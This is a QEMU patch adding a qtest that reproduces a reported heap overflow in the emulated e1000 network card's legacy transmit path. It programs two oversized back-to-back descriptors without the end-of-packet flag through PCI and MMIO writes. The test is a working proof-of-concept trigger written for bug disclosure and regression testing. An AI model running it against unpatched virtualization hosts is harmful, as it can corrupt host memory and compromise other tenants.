>From 30d8ef0c6b17af4d88e8788f5e680a4c4355397f Mon Sep 17 00:00:00 2001 From: Anthony Liguori Date: Wed, 4 Jan 2012 14:46:53 -0600 Subject: qtest: add test to demonstrate e1000 legacy mode overflow There isn't proper checking in legacy mode packets such that if two large packets arrive back to back without the EOP flag set in the first packet, you can easily overrun your buffer. Because data is written to the packets after the packet is processed, this could allow a heap overflow which is exploitable. Reported-by: Nicolae Mogoreanu Signed-off-by: Anthony Liguori --- Makefile | 1 + e1000-overflow-test.c | 104 +++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 105 insertions(+), 0 deletions(-) create mode 100644 e1000-overflow-test.c diff --git a/Makefile b/Makefile index 838cb01..99dc3eb 100644 --- a/Makefile +++ b/Makefile @@ -218,6 +218,7 @@ qemu-ga$(EXESUF): qemu-ga.o $(qga-obj-y) $(qapi-obj-y) $(tools-obj-y) $(qobject- libqtest.o: libqtest.c rtc-test$(EXESUF): rtc-test.o libqtest.o +e1000-overflow-test$(EXESUF): e1000-overflow-test.o libqtest.o QEMULIBS=libhw32 libhw64 libuser libdis libdis-user diff --git a/e1000-overflow-test.c b/e1000-overflow-test.c new file mode 100644 index 0000000..83bb3f9 --- /dev/null +++ b/e1000-overflow-test.c @@ -0,0 +1,104 @@ +#include "libqtest.h" +#include +#include +#include +#include "hw/e1000_hw.h" +#include "hw/pci_regs.h" + +static uint32_t pci_config_read(uint8_t bus, uint8_t devfn, + uint8_t addr, int size) +{ + outl(0xcf8, (bus << 16) | (devfn << 8) | addr | (1u << 31)); + if (size == 1) { + return inb(0xcfc); + } else if (size == 2) { + return inw(0xcfc); + } + return inl(0xcfc); +} + +static void pci_config_write(uint8_t bus, uint8_t devfn, + uint32_t addr, int size, uint32_t value) +{ + outl(0xcf8, (bus << 16) | (devfn << 8) | addr | (1u << 31)); + if (size == 1) { + outb(0xcfc, value); + } else if (size == 2) { + outw(0xcfc, value); + } else { + outl(0xcfc, value); + } +} + + +static void stw(uint64_t addr, uint16_t value) +{ + memwrite(addr, &value, sizeof(value)); +} + +static void stl(uint64_t addr, uint32_t value) +{ + memwrite(addr, &value, sizeof(value)); +} + +static void e1000_probe(uint8_t bus, uint8_t devfn) +{ + uint32_t value = 0; + uint32_t bar0 = 0xe0000000; + uint32_t tx_addr = 4 << 20; + struct e1000_tx_desc desc[2] = {}; + + pci_config_write(bus, devfn, PCI_COMMAND, 2, + (PCI_COMMAND_IO | PCI_COMMAND_MEMORY)); + + pci_config_write(bus, devfn, PCI_BASE_ADDRESS_0, 4, bar0); + bar0 = pci_config_read(bus, devfn, PCI_BASE_ADDRESS_0, 4); + + desc[0].buffer_addr = tx_addr; + desc[0].lower.data = 0xffff; + desc[1].buffer_addr = tx_addr; + desc[1].lower.data = 0xffff; + + memwrite(tx_addr, desc, sizeof(desc)); + + stl(bar0 + E1000_TDBAH, 0); + stl(bar0 + E1000_TDBAL, tx_addr); + + stw(bar0 + E1000_TDLEN, 0x80); + stw(bar0 + E1000_TDH, 0); + stw(bar0 + E1000_TDT, 2); + + value = E1000_TCTL_EN; + memwrite(bar0 + E1000_TCTL, &value, sizeof(value)); +} + +int main(int argc, char **argv) +{ + uint8_t slot = 0; + + qtest_start("/tmp/server.sock"); + + for (slot = 0; slot < 32; slot++) { + uint8_t fn; + + for (fn = 0; fn < 8; fn++) { + uint8_t devfn = (slot << 3) | fn; + uint16_t device_id; + uint16_t vendor_id; + + vendor_id = pci_config_read(0, devfn, PCI_VENDOR_ID, 2); + device_id = pci_config_read(0, devfn, PCI_DEVICE_ID, 2); + + if (vendor_id == 0xFFFF || device_id == 0xFFFF) { + break; + } + + if (vendor_id == 0x8086 && device_id == 0x100e) { + e1000_probe(0, devfn); + return 0; + } + } + } + + return 0; +} -- 1.7.4.1